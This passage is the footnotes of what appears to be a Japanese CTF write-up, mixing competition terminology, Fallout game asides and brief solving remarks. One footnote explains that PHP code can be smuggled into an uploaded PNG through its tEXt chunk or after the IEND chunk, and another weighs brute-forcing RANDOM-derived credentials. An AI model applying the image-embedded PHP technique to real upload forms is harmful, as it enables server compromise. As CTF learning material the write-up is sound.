*5:「ある程度」がどの程度かはご想像にお任せします

*6:特に理不尽な問題をこう呼びます

*7:「問」でなく「フラグ」単位で数えているのは、Fullpwnでは1問あたりuser.txtとroot.txtの2つのフラグがあるためです

*8:解けるメンバーを社内で探すというアプローチもあります

*9:このほかにも問題を解いていましたが、流石に長くなりすぎるので省略します。ご寛恕ください…

*10:ただし、Fullpwnカテゴリ等の配布しづらい問題は解法のみが公開されています

*11:Lexington, East Boston, Logan International Airportといった地名があることから、今プレイヤーはFallout 4の連邦北西部にいるのでしょう

*12:現実はそうそう上手くはいかないようで

*13:全チームの中で最初にその問題を解くことをこう言います

*14:どのような事情があったかは知りませんが、ホワイトボックス問としたのは英断だと思います

*15:RANDOMは0から32767までのランダムな整数を返します。ユーザ名もパスワードも同じRANDOMの値から生成されていればブルートフォースで特定できたのになあと思いましたが、今回は違います。ネットワーク越しの1073741824通りのブルートフォースは現実的ではありません

*16:不思議な処理ですが、JWTを使いつつもセッションを失効できるようにしたいという意図でしょう

*17:私なら抜け道を防いでQuineを書く問題にします

*18:FO:NVは私も好きな作品です。トップページではMr.ハウスに出迎えられました

*19:といっても、PHPはかなり自由なのでPNGのtEXtチャンクに仕込んだり、IENDチャンクより後ろに置く程度で十分です

*20:わざわざ/infoでHTML版のphpinfoを確認せずとも、php.iniを比較すればよかったなと解いてから気づきました

*21:6月に0.01 USDの請求が来るはずです

*22:FO:NVのDLC「Dead Money」の「しかし難しいのは、その場所を見つけることではない… 手放すこと、なのだ…」は至言だと思います。もっとも、Dead Moneyのストーリーは好きですが、二度と遊びたくありません